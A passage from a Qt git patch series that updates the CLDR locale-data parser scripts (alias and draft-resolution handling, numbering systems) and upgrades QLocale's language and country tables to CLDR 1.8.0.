\ - + findEntry(base, standalone_narrow_month_path + "[10]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[11]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[12]") + ";" + = findEntry(path, standalone_narrow_month_path + "[1]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[2]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[3]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[4]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[5]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[6]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[7]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[8]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[9]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[10]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[11]") + ";" \ + + findEntry(path, standalone_narrow_month_path + "[12]") + ";" long_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[format]/monthWidth[wide]/month" result['longMonths'] \ - = findEntry(base, long_month_path + "[1]") + ";" \ - + findEntry(base, long_month_path + "[2]") + ";" \ - + findEntry(base, long_month_path + "[3]") + ";" \ - + findEntry(base, long_month_path + "[4]") + ";" \ - + findEntry(base, long_month_path + "[5]") + ";" \ - + findEntry(base, long_month_path + "[6]") + ";" \ - + findEntry(base, long_month_path + "[7]") + ";" \ - + findEntry(base, long_month_path + "[8]") + ";" \ - + findEntry(base, long_month_path + "[9]") + ";" \ - + findEntry(base, long_month_path + "[10]") + ";" \ - + findEntry(base, long_month_path + "[11]") + ";" \ - + findEntry(base, long_month_path + "[12]") + ";" + = findEntry(path, long_month_path + "[1]") + ";" \ + + findEntry(path, long_month_path + "[2]") + ";" \ + + findEntry(path, long_month_path + "[3]") + ";" \ + + findEntry(path, long_month_path + "[4]") + ";" \ + + findEntry(path, long_month_path + "[5]") + ";" \ + + findEntry(path, long_month_path + "[6]") + ";" \ + + findEntry(path, long_month_path + "[7]") + ";" \ + + findEntry(path, long_month_path + "[8]") + ";" \ + + findEntry(path, long_month_path + "[9]") + ";" \ + + findEntry(path, long_month_path + "[10]") + ";" \ + + findEntry(path, long_month_path + "[11]") + ";" \ + + findEntry(path, long_month_path + "[12]") + ";" short_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[format]/monthWidth[abbreviated]/month" result['shortMonths'] \ - = findEntry(base, short_month_path + "[1]") + ";" \ - + findEntry(base, short_month_path + "[2]") + ";" \ - + findEntry(base, short_month_path + "[3]") + ";" \ - + findEntry(base, short_month_path + "[4]") + ";" \ - + findEntry(base, short_month_path + "[5]") + ";" \ - + findEntry(base, short_month_path + "[6]") + ";" \ - + findEntry(base, short_month_path + "[7]") + ";" \ - + findEntry(base, short_month_path + "[8]") + ";" \ - + findEntry(base, short_month_path + "[9]") + ";" \ - + findEntry(base, short_month_path + "[10]") + ";" \ - + findEntry(base, short_month_path + "[11]") + ";" \ - + findEntry(base, short_month_path + "[12]") + ";" + = findEntry(path, short_month_path + "[1]") + ";" \ + + findEntry(path, short_month_path + "[2]") + ";" \ + + findEntry(path, short_month_path + "[3]") + ";" \ + + findEntry(path, short_month_path + "[4]") + ";" \ + + findEntry(path, short_month_path + "[5]") + ";" \ + + findEntry(path, short_month_path + "[6]") + ";" \ + + findEntry(path, short_month_path + "[7]") + ";" \ + + findEntry(path, short_month_path + "[8]") + ";" \ + + findEntry(path, short_month_path + "[9]") + ";" \ + + findEntry(path, short_month_path + "[10]") + ";" \ + + findEntry(path, short_month_path + "[11]") + ";" \ + + findEntry(path, short_month_path + "[12]") + ";" narrow_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[format]/monthWidth[narrow]/month" result['narrowMonths'] \ - = findEntry(base, narrow_month_path + "[1]") + ";" \ - + findEntry(base, narrow_month_path + "[2]") + ";" \ - + findEntry(base, narrow_month_path + "[3]") + ";" \ - + findEntry(base, narrow_month_path + "[4]") + ";" \ - + findEntry(base, narrow_month_path + "[5]") + ";" \ - + findEntry(base, narrow_month_path + "[6]") + ";" \ - + findEntry(base, narrow_month_path + "[7]") + ";" \ - + findEntry(base, narrow_month_path + "[8]") + ";" \ - + findEntry(base, narrow_month_path + "[9]") + ";" \ - + findEntry(base, narrow_month_path + "[10]") + ";" \ - + findEntry(base, narrow_month_path + "[11]") + ";" \ - + findEntry(base, narrow_month_path + "[12]") + ";" + = findEntry(path, narrow_month_path + "[1]") + ";" \ + + findEntry(path, narrow_month_path + "[2]") + ";" \ + + findEntry(path, narrow_month_path + "[3]") + ";" \ + + findEntry(path, narrow_month_path + "[4]") + ";" \ + + findEntry(path, narrow_month_path + "[5]") + ";" \ + + findEntry(path, narrow_month_path + "[6]") + ";" \ + + findEntry(path, narrow_month_path + "[7]") + ";" \ + + findEntry(path, narrow_month_path + "[8]") + ";" \ + + findEntry(path, narrow_month_path + "[9]") + ";" \ + + findEntry(path, narrow_month_path + "[10]") + ";" \ + + findEntry(path, narrow_month_path + "[11]") + ";" \ + + findEntry(path, narrow_month_path + "[12]") + ";" long_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[format]/dayWidth[wide]/day" result['longDays'] \ - = findEntry(base, long_day_path + "[sun]") + ";" \ - + findEntry(base, long_day_path + "[mon]") + ";" \ - + findEntry(base, long_day_path + "[tue]") + ";" \ - + findEntry(base, long_day_path + "[wed]") + ";" \ - + findEntry(base, long_day_path + "[thu]") + ";" \ - + findEntry(base, long_day_path + "[fri]") + ";" \ - + findEntry(base, long_day_path + "[sat]") + ";" + = findEntry(path, long_day_path + "[sun]") + ";" \ + + findEntry(path, long_day_path + "[mon]") + ";" \ + + findEntry(path, long_day_path + "[tue]") + ";" \ + + findEntry(path, long_day_path + "[wed]") + ";" \ + + findEntry(path, long_day_path + "[thu]") + ";" \ + + findEntry(path, long_day_path + "[fri]") + ";" \ + + findEntry(path, long_day_path + "[sat]") + ";" short_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[format]/dayWidth[abbreviated]/day" result['shortDays'] \ - = findEntry(base, short_day_path + "[sun]") + ";" \ - + findEntry(base, short_day_path + "[mon]") + ";" \ - + findEntry(base, short_day_path + "[tue]") + ";" \ - + findEntry(base, short_day_path + "[wed]") + ";" \ - + findEntry(base, short_day_path + "[thu]") + ";" \ - + findEntry(base, short_day_path + "[fri]") + ";" \ - + findEntry(base, short_day_path + "[sat]") + ";" + = findEntry(path, short_day_path + "[sun]") + ";" \ + + findEntry(path, short_day_path + "[mon]") + ";" \ + + findEntry(path, short_day_path + "[tue]") + ";" \ + + findEntry(path, short_day_path + "[wed]") + ";" \ + + findEntry(path, short_day_path + "[thu]") + ";" \ + + findEntry(path, short_day_path + "[fri]") + ";" \ + + findEntry(path, short_day_path + "[sat]") + ";" narrow_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[format]/dayWidth[narrow]/day" result['narrowDays'] \ - = findEntry(base, narrow_day_path + "[sun]") + ";" \ - + findEntry(base, narrow_day_path + "[mon]") + ";" \ - + findEntry(base, narrow_day_path + "[tue]") + ";" \ - + findEntry(base, narrow_day_path + "[wed]") + ";" \ - + findEntry(base, narrow_day_path + "[thu]") + ";" \ - + findEntry(base, narrow_day_path + "[fri]") + ";" \ - + findEntry(base, narrow_day_path + "[sat]") + ";" + = findEntry(path, narrow_day_path + "[sun]") + ";" \ + + findEntry(path, narrow_day_path + "[mon]") + ";" \ + + findEntry(path, narrow_day_path + "[tue]") + ";" \ + + findEntry(path, narrow_day_path + "[wed]") + ";" \ + + findEntry(path, narrow_day_path + "[thu]") + ";" \ + + findEntry(path, narrow_day_path + "[fri]") + ";" \ + + findEntry(path, narrow_day_path + "[sat]") + ";" standalone_long_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[stand-alone]/dayWidth[wide]/day" result['standaloneLongDays'] \ - = findEntry(base, standalone_long_day_path + "[sun]") + ";" \ - + findEntry(base, standalone_long_day_path + "[mon]") + ";" \ - + findEntry(base, standalone_long_day_path + "[tue]") + ";" \ - + findEntry(base, standalone_long_day_path + "[wed]") + ";" \ - + findEntry(base, standalone_long_day_path + "[thu]") + ";" \ - + findEntry(base, standalone_long_day_path + "[fri]") + ";" \ - + findEntry(base, standalone_long_day_path + "[sat]") + ";" + = findEntry(path, standalone_long_day_path + "[sun]") + ";" \ + + findEntry(path, standalone_long_day_path + "[mon]") + ";" \ + + findEntry(path, standalone_long_day_path + "[tue]") + ";" \ + + findEntry(path, standalone_long_day_path + "[wed]") + ";" \ + + findEntry(path, standalone_long_day_path + "[thu]") + ";" \ + + findEntry(path, standalone_long_day_path + "[fri]") + ";" \ + + findEntry(path, standalone_long_day_path + "[sat]") + ";" standalone_short_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[stand-alone]/dayWidth[abbreviated]/day" result['standaloneShortDays'] \ - = findEntry(base, standalone_short_day_path + "[sun]") + ";" \ - + findEntry(base, standalone_short_day_path + "[mon]") + ";" \ - + findEntry(base, standalone_short_day_path + "[tue]") + ";" \ - + findEntry(base, standalone_short_day_path + "[wed]") + ";" \ - + findEntry(base, standalone_short_day_path + "[thu]") + ";" \ - + findEntry(base, standalone_short_day_path + "[fri]") + ";" \ - + findEntry(base, standalone_short_day_path + "[sat]") + ";" + = findEntry(path, standalone_short_day_path + "[sun]") + ";" \ + + findEntry(path, standalone_short_day_path + "[mon]") + ";" \ + + findEntry(path, standalone_short_day_path + "[tue]") + ";" \ + + findEntry(path, standalone_short_day_path + "[wed]") + ";" \ + + findEntry(path, standalone_short_day_path + "[thu]") + ";" \ + + findEntry(path, standalone_short_day_path + "[fri]") + ";" \ + + findEntry(path, standalone_short_day_path + "[sat]") + ";" standalone_narrow_day_path = "dates/calendars/calendar[gregorian]/days/dayContext[stand-alone]/dayWidth[narrow]/day" result['standaloneNarrowDays'] \ - = findEntry(base, standalone_narrow_day_path + "[sun]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[mon]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[tue]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[wed]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[thu]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[fri]") + ";" \ - + findEntry(base, standalone_narrow_day_path + "[sat]") + ";" + = findEntry(path, standalone_narrow_day_path + "[sun]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[mon]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[tue]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[wed]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[thu]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[fri]") + ";" \ + + findEntry(path, standalone_narrow_day_path + "[sat]") + ";" return result @@ -465,9 +474,10 @@ for key in locale_keys: l = locale_database[key] print " " -# print " " + l['base'] + "" print " " + l['language'] + "" print " " + l['country'] + "" + print " " + l['language_code'] + "" + print " " + l['country_code'] + "" print " " + ordStr(l['decimal']) + "" print " " + ordStr(l['group']) + "" print " " + fixOrdStrList(l['list']) + "" diff --git a/util/local_database/xpathlite.py b/util/local_database/xpathlite.py index 7b5da5d..94bc23f 100644 --- a/util/local_database/xpathlite.py +++ b/util/local_database/xpathlite.py @@ -53,6 +53,11 @@ class DraftResolution: contributed = 'contributed' approved = 'approved' +class Error: + def __init__(self, msg): + self.msg = msg + def __str__(self): + return self.msg def findChild(parent, tag_name, arg_value, draft=None): for node in parent.childNodes: @@ -74,7 +79,7 @@ def findChild(parent, tag_name, arg_value, draft=None): return node return False -def _findEntry(file, path, draft=None): +def _findEntryInFile(file, path, draft=None, attribute=None): doc = False if doc_cache.has_key(file): doc = doc_cache[file] @@ -88,23 +93,47 @@ def _findEntry(file, path, draft=None): if draft is not None: last_entry = tag_spec_list[-1] tag_spec_list = tag_spec_list[:-1] - for tag_spec in tag_spec_list: + for i in range(len(tag_spec_list)): + tag_spec = tag_spec_list[i] tag_name = tag_spec arg_value = '' left_bracket = tag_spec.find('[') if left_bracket != -1: tag_name = tag_spec[:left_bracket] arg_value = tag_spec[left_bracket+1:-1] + alias = findChild(elt, 'alias', None) + if alias and alias.attributes['source'].nodeValue == 'locale': + path = alias.attributes['path'].nodeValue + aliaspath = tag_spec_list[:i] + path.split("/") + def resolve(x, y): + if y == '..': + return x[:-1] + return x + [y] + # resolve all dot-dot parts of the path + aliaspath = reduce(resolve, aliaspath, []) + # remove attribute specification that our xpathlite doesnt support + aliaspath = map(lambda x: x.replace("@type=", "").replace("'", ""), aliaspath) + # append the remaining path + aliaspath = aliaspath + tag_spec_list[i:] + aliaspath = "/".join(aliaspath) + # "locale" aliases are special - we need to start lookup from scratch + return (None, aliaspath) elt = findChild(elt, tag_name, arg_value) if not elt: - return "" + return ("", None) if last_entry is not None: elt = findChild(elt, last_entry, '', draft) if not elt: - return "" - return elt.firstChild.nodeValue + return ("", None) + if attribute is not None: + if elt.attributes.has_key(attribute): + return (elt.attributes[attribute].nodeValue, None) + return (None, None) + return (elt.firstChild.nodeValue, None) def findAlias(file): + if not doc_cache.has_key(file): + return False doc = doc_cache[file] alias_elt = findChild(doc.documentElement, "alias", "") if not alias_elt: @@ -113,37 +142,59 @@ def findAlias(file): return False return alias_elt.attributes['source'].nodeValue -def findEntry(base, path, draft=None): - file = base + ".xml" +def _findEntry(base, path, draft=None, attribute=None): + file = base + if base.endswith(".xml"): + file = base + base = base[:-4] + else: + file = base + ".xml" + (dirname, filename) = os.path.split(base) + items = filename.split("_") + # split locale name into items and iterate through them from back to front + # example: az_Latn_AZ => [az_Latn_AZ, az_Latn, az] + items = reversed(map(lambda x: "_".join(items[:x+1]), range(len(items)))) + for item in items: + file = dirname + "/" + item + ".xml" + if os.path.isfile(file): + alias = findAlias(file) + if alias: + # if alias is found we should follow it and stop processing current file + # see http://www.unicode.org/reports/tr35/#Common_Elements + aliasfile = os.path.dirname(file) + "/" + alias + ".xml" + if not os.path.isfile(aliasfile): + raise Error("findEntry: fatal error: found an alias '%s' to '%s', but the alias file couldnt be found" % (filename, alias)) + # found an alias, recurse into parsing it + result = _findEntry(aliasfile, path, draft, attribute) + return result + (result, aliaspath) = _findEntryInFile(file, path, draft, attribute) + if aliaspath: + # start lookup again because of the alias source="locale" + return _findEntry(base, aliaspath, draft, attribute) + if result: + return result + return None + +def findEntry(base, path, draft=None, attribute=None): + file = base + if base.endswith(".xml"): + file = base + base = base[:-4] + else: + file = base + ".xml" + (dirname, filename) = os.path.split(base) - if os.path.isfile(file): - result = _findEntry(file, path, draft) + result = None + while path: + result = _findEntry(base, path, draft, attribute) if result: return result - - alias = findAlias(file) - if alias: - file = os.path.dirname(base) + "/" + alias + ".xml" - if os.path.isfile(file): - result = _findEntry(file, path, draft) - if result: - return result - - file = base[:-3] + ".xml" - if os.path.isfile(file): - result = _findEntry(file, path, draft) + (result, aliaspath) = _findEntryInFile(dirname + "/root.xml", path, draft, attribute) if result: return result - alias = findAlias(file) - if alias: - file = os.path.dirname(base) + "/" + alias + ".xml" - if os.path.isfile(file): - result = _findEntry(file, path, draft) - if result: - return result + if not aliaspath: + raise Error("findEntry: fatal error: %s: did not found key %s" % (filename, path)) + path = aliaspath - if not draft: - file = os.path.dirname(base) + "/root.xml" - result = _findEntry(file, path, draft) return result -- cgit v0.12 From 44354dc9eebb1fa84529f965e92447b114eb881c Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Fri, 29 Jan 2010 16:17:40 +0100 Subject: Fixed reading draft data from CLDR. When draft resolution is specified we should accept it and all values "above" it. For example if we are searching for a group separator with a "contributed" resolution, we should also accept data that is "approved". In theory we should only accept data with "contributed" or "approved" resolutions and should not trust other resolutions. However in order not to introduce data regressions to QLocale we will only handle drafts for new data. Reviewed-by: Frans Englich --- util/local_database/cldr2qlocalexml.py | 21 ++++++++++++++------- util/local_database/xpathlite.py | 27 ++++++++++++++------------- 2 files changed, 28 insertions(+), 20 deletions(-) diff --git a/util/local_database/cldr2qlocalexml.py b/util/local_database/cldr2qlocalexml.py index 6f4ee25..71d14e8 100755 --- a/util/local_database/cldr2qlocalexml.py +++ b/util/local_database/cldr2qlocalexml.py @@ -99,16 +99,23 @@ def generateLocaleInfo(path): language = enumdata.language_list[language_id][0] country_id = enumdata.countryCodeToId(country_code) - if country_id == -1: - sys.stderr.write("unnknown country code \"" + country_code + "\"\n") - return {} - country = enumdata.country_list[country_id][0] + country = "" + if country_id != -1: + country = enumdata.country_list[country_id][0] + + # So we say we accept only those values that have "contributed" or + # "approved" resolution. see http://www.unicode.org/cldr/process.html + # But we only respect the resolution for new datas for backward + # compatibility. + draft = DraftResolution.contributed result = {} result['language'] = language result['country'] = country result['language_code'] = language_code result['country_code'] = country_code + result['script_code'] = script_code + result['variant_code'] = variant_code result['language_id'] = language_id result['country_id'] = country_id result['decimal'] = findEntry(path, "numbers/symbols/decimal") @@ -119,8 +126,8 @@ def generateLocaleInfo(path): result['minus'] = findEntry(path, "numbers/symbols/minusSign") result['plus'] = findEntry(path, "numbers/symbols/plusSign") result['exp'] = findEntry(path, "numbers/symbols/exponential").lower() - result['am'] = findEntry(path, "dates/calendars/calendar[gregorian]/am", draft=DraftResolution.approved) - result['pm'] = findEntry(path, "dates/calendars/calendar[gregorian]/pm", draft=DraftResolution.approved) + result['am'] = findEntry(path, "dates/calendars/calendar[gregorian]/am", draft) + result['pm'] = findEntry(path, "dates/calendars/calendar[gregorian]/pm", draft) result['longDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[full]/dateFormat/pattern") result['shortDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[short]/dateFormat/pattern") result['longTimeFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[full]/timeFormat/pattern") @@ -315,7 +322,7 @@ for file in cldr_files: sys.stderr.write("skipping file \"" + file + "\"\n") continue - locale_database[(l['language_id'], l['country_id'])] = l + locale_database[(l['language_id'], l['country_id'], l['script_code'], l['variant_code'])] = l locale_keys = locale_database.keys() locale_keys.sort() diff --git a/util/local_database/xpathlite.py b/util/local_database/xpathlite.py index 94bc23f..0f21a19 100644 --- a/util/local_database/xpathlite.py +++ b/util/local_database/xpathlite.py @@ -52,6 +52,11 @@ class DraftResolution: provisional = 'provisional' contributed = 'contributed' approved = 'approved' + _values = { unconfirmed : 1, provisional : 2, contributed : 3, approved : 4 } + def __init__(self, resolution): + self.resolution = resolution + def toInt(self): + return DraftResolution._values[self.resolution] class Error: def __init__(self, msg): @@ -71,10 +76,13 @@ def findChild(parent, tag_name, arg_value, draft=None): if node.attributes['type'].nodeValue != arg_value: continue if draft: - if node.attributes.has_key('draft'): - if node.attributes['draft'].nodeValue != draft: - continue - elif draft != DraftResolution.approved: + if not node.attributes.has_key('draft'): + # if draft is not specified then it's approved + return node + value = node.attributes['draft'].nodeValue + value = DraftResolution(value).toInt() + exemplar = DraftResolution(draft).toInt() + if exemplar > value: continue return node return False @@ -90,9 +98,6 @@ def _findEntryInFile(file, path, draft=None, attribute=None): elt = doc.documentElement tag_spec_list = path.split("/") last_entry = None - if draft is not None: - last_entry = tag_spec_list[-1] - tag_spec_list = tag_spec_list[:-1] for i in range(len(tag_spec_list)): tag_spec = tag_spec_list[i] tag_name = tag_spec @@ -118,11 +123,7 @@ def _findEntryInFile(file, path, draft=None, attribute=None): aliaspath = "/".join(aliaspath) # "locale" aliases are special - we need to start lookup from scratch return (None, aliaspath) - elt = findChild(elt, tag_name, arg_value) - if not elt: - return ("", None) - if last_entry is not None: - elt = findChild(elt, last_entry, '', draft) + elt = findChild(elt, tag_name, arg_value, draft) if not elt: return ("", None) if attribute is not None: @@ -145,7 +146,7 @@ def findAlias(file): def _findEntry(base, path, draft=None, attribute=None): file = base if base.endswith(".xml"): - file = base + filename = base base = base[:-4] else: file = base + ".xml" -- cgit v0.12 From 15d64b6e8c5ce98cb8c1061c007afe7f19751226 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Fri, 19 Mar 2010 15:15:45 +0100 Subject: Improved CLDR parser. Added support for "defaultNumberingSystem" element to get the right numeric information (decimal point, group separator, zero digit etc). Also fixed xpaths to the AM/PM text for CLDR 1.8.0 Reviewed-by: trustme --- util/local_database/cldr2qlocalexml.py | 36 ++++++++++++++++++++++++---------- util/local_database/xpathlite.py | 20 ++++++++++++------- 2 files changed, 39 insertions(+), 17 deletions(-) diff --git a/util/local_database/cldr2qlocalexml.py b/util/local_database/cldr2qlocalexml.py index 71d14e8..ede7763 100755 --- a/util/local_database/cldr2qlocalexml.py +++ b/util/local_database/cldr2qlocalexml.py @@ -102,6 +102,9 @@ def generateLocaleInfo(path): country = "" if country_id != -1: country = enumdata.country_list[country_id][0] + if country == "": + sys.stderr.write("unnknown country code \"" + country_code + "\"\n") + return {} # So we say we accept only those values that have "contributed" or # "approved" resolution. see http://www.unicode.org/cldr/process.html @@ -118,16 +121,29 @@ def generateLocaleInfo(path): result['variant_code'] = variant_code result['language_id'] = language_id result['country_id'] = country_id - result['decimal'] = findEntry(path, "numbers/symbols/decimal") - result['group'] = findEntry(path, "numbers/symbols/group") - result['list'] = findEntry(path, "numbers/symbols/list") - result['percent'] = findEntry(path, "numbers/symbols/percentSign") - result['zero'] = findEntry(path, "numbers/symbols/nativeZeroDigit") - result['minus'] = findEntry(path, "numbers/symbols/minusSign") - result['plus'] = findEntry(path, "numbers/symbols/plusSign") - result['exp'] = findEntry(path, "numbers/symbols/exponential").lower() - result['am'] = findEntry(path, "dates/calendars/calendar[gregorian]/am", draft) - result['pm'] = findEntry(path, "dates/calendars/calendar[gregorian]/pm", draft) + + numberingSystem = None + try: + numbering_system = findEntry(path, "numbers/defaultNumberingSystem") + except: + pass + def get_number_in_system(path, xpath, numbering_system): + if numbering_system: + try: + return findEntry(path, xpath + "[numberSystem=" + numbering_system + "]") + except xpathlite.Error: + pass + return findEntry(path, xpath) + result['decimal'] = get_number_in_system(path, "numbers/symbols/decimal", numbering_system) + result['group'] = get_number_in_system(path, "numbers/symbols/group", numbering_system) + result['list'] = get_number_in_system(path, "numbers/symbols/list", numbering_system) + result['percent'] = get_number_in_system(path, "numbers/symbols/percentSign", numbering_system) + result['zero'] = get_number_in_system(path, "numbers/symbols/nativeZeroDigit", numbering_system) + result['minus'] = get_number_in_system(path, "numbers/symbols/minusSign", numbering_system) + result['plus'] = get_number_in_system(path, "numbers/symbols/plusSign", numbering_system) + result['exp'] = get_number_in_system(path, "numbers/symbols/exponential", numbering_system).lower() + result['am'] = findEntry(path, "dates/calendars/calendar[gregorian]/dayPeriods/dayPeriodContext[format]/dayPeriodWidth[wide]/dayPeriod[am]", draft) + result['pm'] = findEntry(path, "dates/calendars/calendar[gregorian]/dayPeriods/dayPeriodContext[format]/dayPeriodWidth[wide]/dayPeriod[pm]", draft) result['longDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[full]/dateFormat/pattern") result['shortDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[short]/dateFormat/pattern") result['longTimeFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[full]/timeFormat/pattern") diff --git a/util/local_database/xpathlite.py b/util/local_database/xpathlite.py index 0f21a19..7d569f3 100644 --- a/util/local_database/xpathlite.py +++ b/util/local_database/xpathlite.py @@ -64,16 +64,16 @@ class Error: def __str__(self): return self.msg -def findChild(parent, tag_name, arg_value, draft=None): +def findChild(parent, tag_name, arg_name=None, arg_value=None, draft=None): for node in parent.childNodes: if node.nodeType != node.ELEMENT_NODE: continue if node.nodeName != tag_name: continue if arg_value: - if not node.attributes.has_key('type'): + if not node.attributes.has_key(arg_name): continue - if node.attributes['type'].nodeValue != arg_value: + if node.attributes[arg_name].nodeValue != arg_value: continue if draft: if not node.attributes.has_key('draft'): @@ -101,12 +101,18 @@ def _findEntryInFile(file, path, draft=None, attribute=None): for i in range(len(tag_spec_list)): tag_spec = tag_spec_list[i] tag_name = tag_spec + arg_name = 'type' arg_value = '' left_bracket = tag_spec.find('[') if left_bracket != -1: tag_name = tag_spec[:left_bracket] - arg_value = tag_spec[left_bracket+1:-1] - alias = findChild(elt, 'alias', None) + arg_value = tag_spec[left_bracket+1:-1].split("=") + if len(arg_value) == 2: + arg_name = arg_value[0] + arg_value = arg_value[1] + else: + arg_value = arg_value[0] + alias = findChild(elt, 'alias') if alias and alias.attributes['source'].nodeValue == 'locale': path = alias.attributes['path'].nodeValue aliaspath = tag_spec_list[:i] + path.split("/") @@ -123,7 +129,7 @@ def _findEntryInFile(file, path, draft=None, attribute=None): aliaspath = "/".join(aliaspath) # "locale" aliases are special - we need to start lookup from scratch return (None, aliaspath) - elt = findChild(elt, tag_name, arg_value, draft) + elt = findChild(elt, tag_name, arg_name, arg_value, draft) if not elt: return ("", None) if attribute is not None: @@ -136,7 +142,7 @@ def findAlias(file): if not doc_cache.has_key(file): return False doc = doc_cache[file] - alias_elt = findChild(doc.documentElement, "alias", "") + alias_elt = findChild(doc.documentElement, "alias") if not alias_elt: return False if not alias_elt.attributes.has_key('source'): -- cgit v0.12 From f7c9db16be26c0c273ae141a88da80fae44c2304 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Mon, 18 Jan 2010 12:21:34 +0100 Subject: Upgraded QLocale data to Unicode CLDR 1.8.0 Reviewed-by: Frans Englich --- src/corelib/tools/qlocale.cpp | 56 +- src/corelib/tools/qlocale.h | 57 +- src/corelib/tools/qlocale_data_p.h | 6093 +++++++++++++++------- tests/auto/qlocale/tst_qlocale.cpp | 33 +- util/local_database/enumdata.py | 59 +- util/local_database/locale.xml | 9217 --------------------------------- util/local_database/qlocalexml2cpp.py | 12 +- 7 files changed, 4403 insertions(+), 11124 deletions(-) delete mode 100644 util/local_database/locale.xml diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index e36497c..caa47d0 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -1619,7 +1619,7 @@ QDataStream &operator>>(QDataStream &ds, QLocale &l) This constructor converts the locale name to a language/country pair; it does not use the system locale database. - QLocale's data is based on Common Locale Data Repository v1.6.1. + QLocale's data is based on Common Locale Data Repository v1.8.0. The double-to-string and string-to-double conversion functions are covered by the following licenses: @@ -1820,6 +1820,55 @@ QDataStream &operator>>(QDataStream &ds, QLocale &l) \value Hawaiian \value Tyap \value Chewa + \value Filipino + \value SwissGerman + \value SichuanYi + \value Kpelle + \value LowGerman + \value SouthNdebele + \value NorthernSotho + \value NorthernSami + \value Taroko + \value Gusii + \value Taita + \value Fulah + \value Kikuyu + \value Samburu + \value Sena + \value NorthNdebele + \value Rombo + \value Tachelhit + \value Kabyle + \value Nyankole + \value Bena + \value Vunjo + \value Bambara + \value Embu + \value Cherokee + \value Morisyen + \value Makonde + \value Langi + \value Ganda + \value Bemba + \value Kabuverdianu + \value Meru + \value Kalenjin + \value Nama + \value Machame + \value Colognian + \value Masai + \value Soga + \value Luyia + \value Asu + \value Teso + \value Saho + \value KoyraChiini + \value Rwa + \value Luo + \value Chiga + \value CentralMoroccoTamazight + \value KoyraboroSenni + \value Shambala \omitvalue LastLanguage \sa language() @@ -2072,6 +2121,11 @@ QDataStream &operator>>(QDataStream &ds, QLocale &l) \value Yugoslavia \value Zambia \value Zimbabwe + \value SerbiaAndMontenegro + \value Montenegro + \value Serbia + \value SaintBarthelemy + \value SaintMartin \omitvalue LastCountry \sa country() diff --git a/src/corelib/tools/qlocale.h b/src/corelib/tools/qlocale.h index 9b7b214..3b4e9dc 100644 --- a/src/corelib/tools/qlocale.h +++ b/src/corelib/tools/qlocale.h @@ -287,7 +287,56 @@ public: Hawaiian = 163, Tyap = 164, Chewa = 165, - LastLanguage = Chewa + Filipino = 166, + SwissGerman = 167, + SichuanYi = 168, + Kpelle = 169, + LowGerman = 170, + SouthNdebele = 171, + NorthernSotho = 172, + NorthernSami = 173, + Taroko = 174, + Gusii = 175, + Taita = 176, + Fulah = 177, + Kikuyu = 178, + Samburu = 179, + Sena = 180, + NorthNdebele = 181, + Rombo = 182, + Tachelhit = 183, + Kabyle = 184, + Nyankole = 185, + Bena = 186, + Vunjo = 187, + Bambara = 188, + Embu = 189, + Cherokee = 190, + Morisyen = 191, + Makonde = 192, + Langi = 193, + Ganda = 194, + Bemba = 195, + Kabuverdianu = 196, + Meru = 197, + Kalenjin = 198, + Nama = 199, + Machame = 200, + Colognian = 201, + Masai = 202, + Soga = 203, + Luyia = 204, + Asu = 205, + Teso = 206, + Saho = 207, + KoyraChiini = 208, + Rwa = 209, + Luo = 210, + Chiga = 211, + CentralMoroccoTamazight = 212, + KoyraboroSenni = 213, + Shambala = 214, + LastLanguage = Shambala }; enum Country { @@ -533,7 +582,11 @@ public: Zambia = 239, Zimbabwe = 240, SerbiaAndMontenegro = 241, - LastCountry = SerbiaAndMontenegro + Montenegro = 242, + Serbia = 243, + SaintBarthelemy = 244, + SaintMartin = 245, + LastCountry = SaintMartin }; enum MeasurementSystem { MetricSystem, ImperialSystem }; diff --git a/src/corelib/tools/qlocale_data_p.h b/src/corelib/tools/qlocale_data_p.h index 0b4ddcc..06609f2 100644 --- a/src/corelib/tools/qlocale_data_p.h +++ b/src/corelib/tools/qlocale_data_p.h @@ -73,13 +73,13 @@ static const int ImperialMeasurementSystemsCount = sizeof(ImperialMeasurementSystems)/sizeof(ImperialMeasurementSystems[0]); /* - This part of the file was generated on 2008-08-07 from the - Common Locale Data Repository v1.6.1 + This part of the file was generated on 2010-03-19 from the + Common Locale Data Repository v1.8.0 http://www.unicode.org/cldr/ - Do not change it, 